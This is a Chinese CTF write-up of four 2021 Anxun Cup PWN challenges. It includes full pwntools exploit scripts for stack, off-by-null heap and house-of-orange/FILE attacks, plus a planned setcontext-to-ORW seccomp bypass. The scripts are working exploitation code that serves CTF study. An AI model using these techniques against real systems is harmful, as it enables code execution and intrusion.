2021安洵杯PWN WP詳解
前言
做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
PWN -> stack
(stack overflow ,fmt)
題目分析
保護全開,存在棧溢出,格式化字符串漏洞
int __cdecl main(int argc, const char **argv, const char **envp){ char buf[24]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u); init(argc, argv, envp); read(0, buf, 0x100uLL); // stackoverflow printf(buf); // fmt puts("--+--"); read(0, buf, 0x100uLL); printf(buf); return 0;}
存在system、binsh:
int useless(){ char v1; // [rsp+Fh] [rbp-1h]
return system((const char *)v1);}
利用
- 格式化字符串泄露canary、processbaseaddr
- 棧溢出劫持控制流
exp
# -*- coding: UTF-8 -*-from pwn import *
context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
io = remote('47.108.195.119', 20113)# libc = ELF('./libc-2.31.so')#io = process('./ezstack')#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, '\x00'))uu64 = lambda data : u64(data.ljust(8, '\x00'))ur64 = lambda data : u64(data.rjust(8, '\x00'))sla('請輸入你的隊伍名稱:','SN-天虞')sla('請輸入你的id或名字:','一夢不醒')useless = 0xA8cpop_rdi = 0x0000000000000b03binsh = 0x00B24sl('%17$p@%11$p')process = int(ru('@')[-14:],16) - 0x9dcprint hex(process)canary = int(rn(18),16)print hex(canary)
pay = 'a'* 0x18 + p64(canary) + p64(0xdeadbeef)+ p64(process + pop_rdi) + p64(process + binsh) + p64(process + useless)sla('--+--',pay)irt()
PWN -> noleak
(offbynull,tcache bypass)
題目分析
保護全開,ida查看理清程序邏輯,特別是分析結構體,add和delete功能和chunk的idx索引怎么變化,然后就是edit是否存在漏洞,功能分析:
- 輸入加密str進入程序,簡單的亦或為N0_py_1n_tHe_ct7
- 添加chunk,輸入idx和size,在bss段有chunks結構體,最多10個chunk,沒有判斷chunk是否為null,可以重復添加
- 刪除chunk,不存在uaf
- 編輯chunk,存在offbynull
- 查看chunk,輸出內容
add函數:
unsigned __int64 add(){ unsigned int v0; // ebx unsigned int v2; // [rsp+0h] [rbp-20h] BYREF _DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u); v2 = 0; size[0] = 0; puts("Index?"); __isoc99_scanf("%d", &v2); if ( v2 > 9 ) { puts("wrong and get out!"); exit(0); } puts("Size?"); __isoc99_scanf("%d", size); v0 = v2; (&chunks)[2 * v0] = malloc(size[0]); if ( !(&chunks)[2 * v2] ) { puts("error!"); exit(0); } LODWORD((&chunks)[2 * v2 + 1]) = size[0]; return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];}
chunk結構體:
struct{ char* ptr; int size;}
編輯函數:
unsigned __int64 edit(){ int v0; // eax unsigned int v2; // [rsp+Ch] [rbp-14h] BYREF _QWORD *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u); puts("Index?"); __isoc99_scanf("%d", &v2); if ( v2 > 9 ) exit(0); if ( !(&chunks)[2 * v2] ) exit(0); v3 = (&chunks)[2 * v2]; puts("content:"); v0 = read(0, (&chunks)[2 * v2], LODWORD((&chunks)[2 * v2 + 1])); *((_BYTE *)v3 + v0) = 0; //offbynull return __readfsqword(0x28u) ^ v4;}
chunk的idx索引和數組索引一致。
當時做題只看了編譯程序的ubuntu版本是16.04,就以為是libc-2.23,結果本地都打通了遠程不行,后來才發現題目提供的libc是2.27的,eimo了,一下提供兩個環境下的利用方式:
libc-2.23:
- unsorted bin leak libcaddr
- make chunk merge up to unsorted bin
- fastbin attack to malloc mallochook
- onegadget to getshell
libc-2.27(tcache):
利用方式1:
填滿tcache bypass tcache
- fill up the tcache and make chunk merge up by offbynull
- unsortedbin leak libcaddr
- add chunk to make chunk overlap
- tcache attack to malloc freehook
- malloc chunk to tigger system
利用方式2:
tcache只有64個單鏈表結構,每個鏈表最多7個chunk,64位機器上以16字節遞增,從24到1032字節,所以tcache只能是no-large chunk,我們可以申請large chunk繞過tcache
- malloc large chunk and make chunk merge up by offbynull
- malloc chunk to leak libc addr
- fastbin attack to malloc freehook
- modify freehook to system
- free chunk to tigger system
exp
exp1 libc-2.23
# -*- coding: UTF-8 -*-from pwn import *
context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')io = process('noleak1')libc = ELF('/glibc/2.23/64/lib/libc.so.6')
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, '\x00'))uu64 = lambda data : u64(data.ljust(8, '\x00'))ur64 = lambda data : u64(data.rjust(8, '\x00'))def add(idx,size): sl('1') sla('Index?',str(idx)) sla('Size?',str(size))def show(idx): sl('2') sla('Index?',str(idx))
def edit(idx,content): sl('3') sla('Index?',str(idx)) sa('content:',content)
def delete(idx): sl('4') sla('Index?',str(idx))
enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31, 0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]s = ''for i in range(4): for j in range(4): s += chr(enc[4*j+i]) print s
#sla('請輸入你的隊伍名稱:','SN-天虞')#sla('請輸入你的id或名字:','一夢不醒')sl('N0_py_1n_tHe_ct7')add(0,0xf0)add(1,0x50)delete(0)add(0,0xf0)show(0)leak = uu64(rl())lg('leak')libcbase = leak - 0x3c3b78lg('libcbase')mallochook = libcbase + libc.symbols['__malloc_hook']lg('mallochook')system = libcbase + libc.symbols['system']lg('system')add(2,0xf0)add(3,0x68)add(4,0x68)add(5,0x178)add(6,0x10)delete(2)delete(3) # free to fastbin
edit(4,'a'*0x60+p64(0x100+0x70*2)) # offbynulledit(5,'a'*0xf0+p64(0)+p64(0x81)) # fake chunk lastremainder
delete(5) # chunk Merge up to unsorted bin
add(5,0xf0+0x70) # malloc unsorted binedit(5,'a'*0xf0+p64(0)+p64(0x70)+p64(mallochook-0x23)) # modify chunk 3 fd to mallochook# fastbin atttackadd(2,0x68)
add(3,0x68)
one = [0x45206,0x4525a,0xef9f4,0xf0897]edit(3,'a'*0x13+p64(libcbase + one[2]))#dbg()add(2,0xf0)irt()
exp2 libc-2.27:
# -*- coding: UTF-8 -*-from pwn import *
#context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')#io = process('noleak2')libc = ELF('./libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, '\x00'))uu64 = lambda data : u64(data.ljust(8, '\x00'))ur64 = lambda data : u64(data.rjust(8, '\x00'))def add(idx,size): sl('1') sla('Index?',str(idx)) sla('Size?',str(size))def show(idx): sl('2') sla('Index?',str(idx))
def edit(idx,content): sl('3') sla('Index?',str(idx)) sa('content:',content)
def delete(idx): sl('4') sla('Index?',str(idx))
enc = [0x4E, 0x79, 0x5F, 0x5F, 0x30, 0x5F, 0x74, 0x63, 0x5F, 0x31, 0x48, 0x74, 0x70, 0x6E, 0x65, 0x37]s = ''for i in range(4): for j in range(4): s += chr(enc[4*j+i]) print s
sla('請輸入你的隊伍名稱:','SN-天虞')sla('請輸入你的id或名字:','一夢不醒')sl('N0_py_1n_tHe_ct7')for i in range(8): add(i,0xf0)add(8,0x178)add(9,0x178)for i in range(7): # 1-7 delete(i+1)
edit(8,b'a'*0x170+p64(0x980)) #off by nulledit(9,b'a'*0xf0+p64(0)+p64(0x81))
delete(0) #unsigned bindelete(9) #chunk merge up to unsorted binfor i in range(7): add(i,0xf0)add(0,0xf0) show(0) # 0 1-8leak = l64()lg('leak')#dbg()libc_base = leak - 0x3b0230lg('libc_base')free_hook=libc_base+libc.sym['__free_hook']lg('free_hook')malloc_hook=libc_base+libc.sym['__malloc_hook']lg('malloc_hook')add(9,0xf0)delete(6) # 6==9#gdb.attach(p)edit(9,p64(free_hook-0x8))#dbg()add(6,0xf0) # 6
add(9,0xf0) # 10#add1(0xf0)
#gdb.attach(p)edit(9,"/bin/sh\x00"+p64(libc_base+libc.sym['system']))
delete(9)irt()
exp3 libc-2.27:
from pwn import *
p=process('./noleak2')#p=remote('47.108.195.119',20182)context.terminal = ["/usr/bin/tmux","sp","-h"]context.log_level='debug'elf=ELF('./noleak2')libc=ELF('libc.so.6')#gdb.attach(p,'b *$rebase(0xfc9)')
#p.sendline('n03tAck')#p.sendline('1u1u')
p.sendlineafter('please input a str:','\x4e\x30\x5f\x70\x79\x5f\x31\x6e\x5f\x74\x48\x65\x5f\x63\x74\x37')
def menu(id): p.sendlineafter('>',str(id))
def add(id,size): menu(1) p.sendlineafter('Index?',str(id)) p.sendlineafter('Size?',str(size))
def show(id): menu(2) p.sendlineafter('Index?',str(id))
def edit(id,content): menu(3) p.sendlineafter('Index?',str(id)) p.sendlineafter('content:',str(content))
def delete(id): menu(4) p.sendlineafter('Index?',str(id))
add(0,0x450)add(1,0x18)add(2,0x4f0)add(3,0x18)
delete(0)gdb.attach(p)edit(1,'a'*0x10+p64(0x480))delete(2)
add(0,0x450)show(1)
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))malloc_hook=leak+0x7f3223b9bc30-0x7f3223b9bca0success('malloc_hook:'+hex(malloc_hook))libc_base=malloc_hook-libc.sym['__malloc_hook']success('libc_base:'+hex(libc_base))
add(2,0x18)delete(2)edit(1,p64(libc_base+libc.sym['__free_hook']))
add(4,0x10)add(5,0x10)edit(5,p64(libc_base+libc.sym['system']))
add(6,0x30)edit(6,'/bin/sh\x00')delete(6)
#gdb.attach(p)
p.interactive()
總結
這個題目做之前看程序是2.23的,結果做完了發現libc是2.27的,直接崩潰,又換了2.27的利用方式,最后看官方wp直接申請大chunk直接泄露地址,比我的要簡潔些,所以就有了這三個版本的exp,題目中規中矩,常規題目。此次第一次遇見遠程環境要輸入隊名和用戶名,拿到shell后獲取的是sky_token,拿token去換flag,為了防止py也是想盡了辦法呀,哈哈。
PWN -> ezheap (heap overflow,no free,house of orange,IOfile)
題目分析
保護全開,環境libc-2.23,ida查看代碼,
unsigned __int64 chng_wpn(){ int size; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u); if ( !*((_QWORD *)&name + 1) ) { puts("you have no weapon"); exit(1); } puts("size of it"); __isoc99_scanf(&unk_E94, &size); puts("name"); read(0, *((void **)&name + 1), size); // heap overflow putchar(10); return __readfsqword(0x28u) ^ v2;}
gift函數輸出heap地址。
分析程序功能:
- 輸出heap地址
- add,申請空間,寫入name,heap指針在bss段
- edit,堆溢出,只能編輯當前申請的chunk,不能編輯之前的
- show,輸出當前chunk
利用
這種沒有free函數的就用house of orange的思想,通過溢出將top chunk改小,申請比top chunk大的chunk的時候就會將top chunk釋放入相應的bin目錄,系統再次為topchunk申請內存,達到free效果,可以接著house of force申請大塊內存到特定地址,從而申請到特定內存,去打freehook,malloc_hook;有時候申請大內存會報錯,可以利用攻擊IO_LIST_ALL制造fake io_file_plus結構體,覆蓋flag為binsh,io_overflow_t為system來劫持控制流。iofile詳細分析
- Overwrite top chunk size through heap overflow
- free top chunk to unsortedbin to leak libc
- fake io file_Plus structure attack IO list_all
- Call the add function to trigger iofile
exp
# -*- coding: UTF-8 -*-from pwn import *
context.log_level = 'debug'context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('47.108.195.119', 20182)# libc = ELF('./libc-2.31.so')io = process('./pwn')libc = ELF('/glibc/2.23/64/lib/libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))rl = lambda a=False : io.recvline(a)ru = lambda a,b=True : io.recvuntil(a,b)rn = lambda x : io.recvn(x)sn = lambda x : io.send(x)sl = lambda x : io.sendline(x)sa = lambda a,b : io.sendafter(a,b)sla = lambda a,b : io.sendlineafter(a,b)irt = lambda : io.interactive()dbg = lambda text=None : gdb.attach(io, text)lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))uu32 = lambda data : u32(data.ljust(4, '\x00'))uu64 = lambda data : u64(data.ljust(8, '\x00'))ur64 = lambda data : u64(data.rjust(8, '\x00'))def add(idx,size): sl('1') sla('Index?',str(idx)) sla('Size?',str(size))def show(idx): sl('2') sla('Index?',str(idx))
def edit(idx,content): sl('3') sla('Index?',str(idx)) sa('content:',content)
def delete(idx): sl('4') sla('Index?',str(idx))
#sla('請輸入你的隊伍名稱:','SN-天虞')#sla('請輸入你的id或名字:','一夢不醒')
def menu(index): sla("choice :",str(index))def create(size,content): menu(1) sla("of it",str(size)) sa("ame?", content)def show(): menu(3)def edit(size,content): menu(2) sla("of it",str(size)) sa("ame", content)
heap = int(rl(),16) - 0x10lg('heap')
create(0x20,"aaaaa")edit(0x30,b"a"*0x28+p64(0xfb1)) # house of orange
create(0xff0,"bbbb")create(0x48,"")
show()
ru("is : ")info=uu64(rn(6))lg("info")libc_address= info - 0x3c410a
lg('libc_address')malloc_hook = libc_address + libc.symbols['__malloc_hook']lg('malloc_hook')_IO_list_all_addr = libc_address + libc.sym['_IO_list_all']lg('_IO_list_all_addr')system_addr = libc_address + libc.sym['system']lg('system_addr')
vtable_addr = heap + 0x178fake = "/bin/sh\x00"+p64(0x61)fake += p64(0xDEADBEEF)+p64(_IO_list_all_addr-0x10)fake +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_basefake = fake.ljust(0xc0,"\x00")fake += p64(0)*3+p64(vtable_addr) # mode <=0
payload = 'a'*0x40payload += fakepayload += 'a'*0x10payload += p64(system_addr)
edit(len(payload),payload)#dbg()ru(": ")sl('1')irt()
總結
這個題目用到的知識點很老了,但是我也是很早學的iofile,長時間不用忘記了,比賽的時候只想到用house of force,結果在申請大的chunk的時候報錯,一直就僵在那里了,這里house of orange也可以結合iofile進行利用,本人早在剛入門pwn的時候總結過iofile相關的東西,結果長時間不用都又還給別人了,eimo了。
PWN -> pwnsky
題目分析
題目附件給了一個lua.bin、pwn和一些依賴庫,看到這就知道這個是個lua、c互調的程序,增加直觀上的題目難度,題目程序保護全開,沒有找到程序的編譯版本,但是可以看到libc版本為2.31。首先題目給出的是lua.bin文件,為lua的字節碼,首先需要反編譯lua.bin,得到lua源碼。
反編譯lua
開源工具有兩個,一個是luadec(c寫的),一個是unluac(java寫的),兩個都可以。不過unluac支持最新5.4.x的版本反編譯。
java -jar unluac.jar lua.bin > lua.lua反編譯后:
function Pwnsky(name) local self = {} local ServerInit = function() self.name = name self.account = 0 self.password = 0 self.is_login = 0 self.init = init self.print_logo = print_logo end function self.info() print("Server Info:") local time = os.date("%c") print("Server name: " .. self.name) print("Date time: " .. time) if self.is_login == 0 then print("Account status: Not login") else print("Account status: Logined") print("Account : " .. self.account) end end function self.login() print("pwnsky cloud cache login") io.write("account:") self.account = io.read("*number") io.write("password:") self.password = io.read("*number") self.is_login = login(self.account, self.password) if self.is_login == 1 then print("login succeeded!") else print("login failed!") end end function self.run() while true do io.write("$") local ops = io.read("*l") if ops == "login" then self.login() elseif ops == "info" then self.info() elseif ops == "add" then if self.is_login == 1 then print("size?") size = io.read("*number") idx = add_data(size) print("Data index: " .. idx) else print("login first...") end elseif ops == "del" then if self.is_login == 1 then print("index?") index = io.read("*number") delete_data(index) else print("login first...") end elseif ops == "get" then if self.is_login == 1 then print("index?") index = io.read("*number") get_data(index) else print("login first...") end elseif ops == "help" then print("commands:") print("login") print("info") print("add") print("del") print("get") print("exit") elseif ops == "exit" then print("exit") break end end end ServerInit() return selfendfunction main() alarm(60) local pwn = Pwnsky("pwnsky cloud cache 1.0") pwn:print_logo() pwn:info() pwn:init() pwn:run()end
可以看到程序的主函數邏輯是用lua寫的,調用的相關函數是在pwn程序實現的,pwn程序啟動首先加載lua.bin解析lua程序,
__int64 __fastcall sub_1DE9(__int64 a1, __int64 a2){ __int64 v3; // [rsp+0h] [rbp-10h]
v3 = luaL_newstate(a1, a2); luaL_openlibs(v3); if ( (unsigned int)luaL_loadfilex(v3, "lua.bin", 0LL) || (unsigned int)lua_pcallk(v3, 0LL, 0xFFFFFFFFLL, 0LL, 0LL, 0LL) ) { puts("n"); } lua_pushcclosure(v3, sub_1C51, 0LL); lua_setglobal(v3, "print_logo"); lua_pushcclosure(v3, init_0, 0LL); lua_setglobal(v3, "init"); lua_pushcclosure(v3, login, 0LL); lua_setglobal(v3, "login"); lua_pushcclosure(v3, alarm_0, 0LL); lua_setglobal(v3, "alarm"); lua_pushcclosure(v3, add_data, 0LL); lua_setglobal(v3, "add_data"); lua_pushcclosure(v3, delete, 0LL); lua_setglobal(v3, "delete_data"); lua_pushcclosure(v3, get_data, 0LL); lua_setglobal(v3, "get_data"); return v3;
解題準備(patchelf,去除chroot)
結合給出的start文件(hint是比賽過程中放的):
sudo chroot ./file/ ./pwn hint1: 不要太依賴于F5哦。hint2: 解密算法就是加密算法。hint3: 需要在sub_17BB和sub_143A函數去除花指令,使其F5能夠正確反編譯。
可以看到程序需要chroot到當前文件夾,那么問題來了,有chroot 怎么用gdb怎么調試呢?太菜的我選擇了將程序lua.bin改成./lua.bin,然后把依賴庫放到/lib相應目錄下,其實就一個lua的依賴庫。我本地也是2.31的,這樣就不用chroot了,可以直接運行。如果有大佬知道怎么不用patchelf路徑就能gdb調試,請分享一下偶。
去除花指令
根據提示知道sub_17BB和sub_143A存在花指令,我說半天找不到關鍵函數。sub_17BB在有漏洞的地方加了花指令,使得ida反編譯找看不出漏洞代碼;在sub_143A函數加了花指令,使得ida分析login函數邏輯失敗,查看代碼發現sub_17BB函數有一場數據塊可能是關鍵代碼:
.text:00000000000019AC mov eax, 0.text:00000000000019B1 call _printf.text:00000000000019B6 lea r8, loc_19BD <------------花指令----------->.text:00000000000019BD.text:00000000000019BD loc_19BD: ; DATA XREF: sub_17BB+1FB↑o.text:00000000000019BD push r8.text:00000000000019BF add [rsp+38h+var_38], 0Dh.text:00000000000019C4 retn.text:00000000000019C4 ; ---------------------------------------------------------------------------.text:00000000000019C5 db 0E9h, 23h, 0C5h.text:00000000000019C8 dq 3DAF058D480000h, 48D26348E0558B00h, 0C08400B60FD0048Bh.text:00000000000019C8 dq 3D97058D482A75h, 48D26348E0558B00h, 48F0458B48D0148Bh <----------異常數據塊-------->.text:00000000000019C8 dq 4800000001BAD001h, 0E800000000BFC689h, 1B8FFFFF724h.text:0000000000001A10 db 0.text:0000000000001A11 ; ---------------------------------------------------------------------------.text:0000000000001A11.text:0000000000001A11 loc_1A11: ; CODE XREF: sub_17BB+50↑j
可以看到異常數據塊前有一些異常代碼,將下一條命令地址賦給r8,然后入棧,rsp向下移動0xd,return,相當于啥沒做,把0x19b6到0x19c4代碼nop掉,還原邏輯如下:
.text:000000000000199F 48 89 C6 mov rsi, rax.text:00000000000019A2 48 8D 05 03 17 00 00 lea rax, aGiftLlx ; "gift: %llx\n".text:00000000000019A9 48 89 C7 mov rdi, rax ; format.text:00000000000019AC B8 00 00 00 00 mov eax, 0.text:00000000000019B1 E8 1A F7 FF FF call _printf.text:00000000000019B6 90 nop ; Keypatch filled range [0x19B6:0x19C4] (15 bytes), replaced:.text:00000000000019B6 ; lea r8, loc_19BD.text:00000000000019B6 ; push r8.text:00000000000019B6 ; add [rsp+38h+var_38], 0Dh.text:00000000000019B6 ; retn.text:00000000000019B7 90 nop.text:00000000000019B8 90 nop.text:00000000000019B9 90 nop.text:00000000000019BA 90 nop.text:00000000000019BB 90 nop.text:00000000000019BC 90 nop.text:00000000000019BD 90 nop.text:00000000000019BE 90 nop.text:00000000000019BF 90 nop.text:00000000000019C0 90 nop.text:00000000000019C1 90 nop.text:00000000000019C2 90 nop.text:00000000000019C3 90 nop.text:00000000000019C4 90 nop.text:00000000000019C5 90 nop ; Keypatch modified this from:.text:00000000000019C5 ; jmp near ptr 0DEEDh.text:00000000000019C5 ; Keypatch padded NOP to next boundary: 4 bytes.text:00000000000019C6 90 nop.text:00000000000019C7 90 nop.text:00000000000019C8 90 nop.text:00000000000019C9 90 nop.text:00000000000019CA 48 8D 05 AF 3D 00 00 lea rax, qword_5780.text:00000000000019D1 8B 55 E0 mov edx, [rbp+var_20].text:00000000000019D4 48 63 D2 movsxd rdx, edx.text:00000000000019D7 48 8B 04 D0 mov rax, [rax+rdx*8].text:00000000000019DB 0F B6 00 movzx eax, byte ptr [rax].text:00000000000019DE 84 C0 test al, al
另一個函數同樣方法去花。
程序分析及功能
關鍵的功能有以下幾個:
- login。用戶名1000、密碼為418894113通過驗證;可還原異或加密(流加密)。
- add。申請一個chunk,個數0-100,有非空檢查,size在0-4096之間會將chunk地址、size寫到bss段,如果data[0]=0,則會多讀一個字節,造成offbyone。
- get。輸出非空chunk的context
- del。刪除非空chunk。指針置零,不存在UAF。
init_0函數:
unsigned __int64 sub_1617(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u); init_setvbuf(); seccomp(); //沙箱seccomp_rule_add(v1, 0LL, 59LL, 0LL); 禁用59號中斷,不能getshell init_key();//初始化key return v1 - __readfsqword(0x28u);}
login函數:
__int64 __fastcall sub_1663(__int64 a1){ __int64 result; // rax __int64 pass[2]; // [rsp+10h] [rbp-10h] BYREF
pass[1] = __readfsqword(0x28u); if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) ) { LODWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL); lua_settop(a1, 4294967294LL); if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) ) { HIDWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL); lua_settop(a1, 4294967294LL); encode(&key, pass, 4LL); // 0x6b8b4567327b23c6 key調試得到,真正生成的是在init函數中根據隨機數生成的,不過是固定死的srand(0); if ( pass[0] == 0x3E8717E5E48LL ) //這里ida反編譯有點問題,實際上是pass[0]==0x3e8&&pass[1]==0x717e5e48,可以看匯編看出 lua_pushinteger(a1, 1LL); else lua_pushinteger(a1, 0LL); result = 1LL; } else { error( a1, (int)"In function: login, account argument must a number", "In function: login, account argument must a number"); result = 0LL; } } else { error( a1, (int)"In function: login, password argument must a number", "In function: login, password argument must a number"); result = 0LL; } return result;}
unsigned __int64 __fastcall encode(__int64 *key, __int64 pass, unsigned __int64 len){ unsigned __int8 v5; // [rsp+23h] [rbp-1Dh] int i; // [rsp+24h] [rbp-1Ch] __int64 v7; // [rsp+30h] [rbp-10h] BYREF unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u); v7 = *key; for ( i = 0; len > i; ++i ) { v5 = *((_BYTE *)&v7 + (((_BYTE)i + 2) & 7)) * (*((_BYTE *)&v7 + (i & 7)) + *((_BYTE *)&v7 + (((_BYTE)i + 1) & 7))) + *((_BYTE *)&v7 + (((_BYTE)i + 3) & 7)); *(_BYTE *)(i + pass) ^= v5 ^ table[v5]; *((_BYTE *)&v7 + (i & 7)) = 2 * v5 + 3; if ( (i & 0xF) == 0 ) sub_143A(key, &v7, table[(unsigned __int8)i]);//反編譯問題,v7是返回值,參數是key和table[i&0xff] } return v8 - __readfsqword(0x28u);}
unsigned __int64 __fastcall sub_143A(__int64 a1, __int64 a2, char a3){ int i; // [rsp+24h] [rbp-Ch] unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u); for ( i = 0; i <= 7; ++i ) { *(_BYTE *)(i + a2) = *(_BYTE *)(i + a1) ^ table[*(unsigned __int8 *)(i + a1)]; *(_BYTE *)(i + a2) ^= (_BYTE)i + a3; } return v5 - __readfsqword(0x28u);}
按照程序邏輯還原邏輯后將密文輸入,就得到明文。
add函數:
__int64 __fastcall add_data(__int64 a1){ __int64 result; // rax int i; // [rsp+10h] [rbp-20h] int v3; // [rsp+14h] [rbp-1Ch] int size; // [rsp+18h] [rbp-18h] int v5; // [rsp+1Ch] [rbp-14h] unsigned __int64 j; // [rsp+20h] [rbp-10h]
if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) ) { size = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL); lua_settop(a1, 4294967294LL); for ( i = 0; i <= 100 && qword_5780[i]; ++i ) { if ( i == 100 ) return 0LL; } if ( size > 0 && size <= 4095 ) { qword_5780[i] = malloc(size); v3 = 0; for ( j = 0LL; j < size; ++j ) { v5 = read(0, (void *)(qword_5780[i] + j), 1uLL); if ( *(_BYTE *)(qword_5780[i] + j) == 10 ) break; if ( v5 > 0 ) v3 += v5; } dword_5AA0[i] = size; encode(&key, qword_5780[i], v3); <----------加密存放---------> lua_pushinteger(a1, i); printf("gift: %llx", qword_5780[i] & 0xFFFLL); <----------輸出chunk后3字節偏移--------> if ( !*(_BYTE *)qword_5780[i] ) <-----------offbyone------------> read(0, (void *)(qword_5780[i] + j), 1uLL); result = 1LL; } else { result = 0LL; } } else { error( a1, (int)"In function: add_data, first argument must a number", "In function: add_data, first argument must a number"); result = 0LL; } return result;}
到這里基本清楚程序存在offbyone漏洞,沙箱限制getshell,onegadgetsystem(‘/bin/sh’)不好用了,只能讀取flag,可以構造orw讀取flag,可通過制造堆塊重疊來打__free_hook, 修改freehook為setcontext+61的思路去刷新環境,進行堆棧遷移,構造orw,讀取flag。
這里setcontext+61關鍵的寄存器是rdx,setcontext+61片段如下:
.text:00000000000580DD mov rsp, [rdx+0A0h] <------setcontext+61------->刷新rsp到heap,指向orw ROP鏈.text:00000000000580E4 mov rbx, [rdx+80h].text:00000000000580EB mov rbp, [rdx+78h].text:00000000000580EF mov r12, [rdx+48h].text:00000000000580F3 mov r13, [rdx+50h].text:00000000000580F7 mov r14, [rdx+58h].text:00000000000580FB mov r15, [rdx+60h].text:00000000000580FF test dword ptr fs:48h, 2.text:000000000005810B jz loc_581C6
.text:00000000000581C6 loc_581C6: ; CODE XREF: setcontext+6B↑j.text:00000000000581C6 mov rcx, [rdx+0A8h] <-----rcx = ret,入棧>.text:00000000000581CD push rcx.text:00000000000581CE mov rsi, [rdx+70h].text:00000000000581D2 mov rdi, [rdx+68h].text:00000000000581D6 mov rcx, [rdx+98h].text:00000000000581DD mov r8, [rdx+28h].text:00000000000581E1 mov r9, [rdx+30h].text:00000000000581E5 mov rdx, [rdx+88h].text:00000000000581E5 ; } // starts at 580A0.text:00000000000581EC ; __unwind {.text:00000000000581EC xor eax, eax.text:00000000000581EE retn <--------ret ->ret ->orw ROP >
在此之前需要將heap地址賦值給rdx,然后才能將棧遷移到堆上,我們知道free的時候第一個參數rdi是當前chunk的地址,那么只要將rdi的值賦值給rdx之后再返回到setcontext+61就行了,怎么找gadget能實現如上功能呢?我們在libc的function getkeyserv_handle里能找到如下gadget:
.text:0000000000154930 mov rdx, [rdi+8].text:0000000000154934 mov [rsp+0C8h+var_C8], rax.text:0000000000154938 call qword ptr [rdx+20h]
所以在當前chunk+8的地方放當前heap地址可以實現給rdx賦值,然后在rdx+0x20處放setcontext地址就會返回到setcontext,在rdx+0xa0處放置orw Rop的開始地址,并將rsp指針刷新到指定heap上,執行到ret的時候將rcx移出棧頂,緊接著ret后返回orw的rop開始處,此時rsp和堆棧同時指向orw ROP開始處,開始在heap上構造orw讀取flag。
構造賦值想讓的步驟如下:
- 通過largebinattack泄露libc,獲得freehook、setcontext、rop鏈地址
- 在制造chunk overlap之前應該將0x30大小的堆填滿,釋放,之后在新申請的chunk之間就不會有0x30大小的chunk相隔,才能制造overlap。原因猜測是為之后的申請騰空間,所以后面申請的就不會隔開了,具體原因待查
- 泄露heap地址,制造chunk overlap
- 寫入freehook地址,修改freehook為gadget(set rdx && call setcontext)
- 申請一個chunk,構造rop修改rdx,返回setcontext,刷新堆棧,之后orw
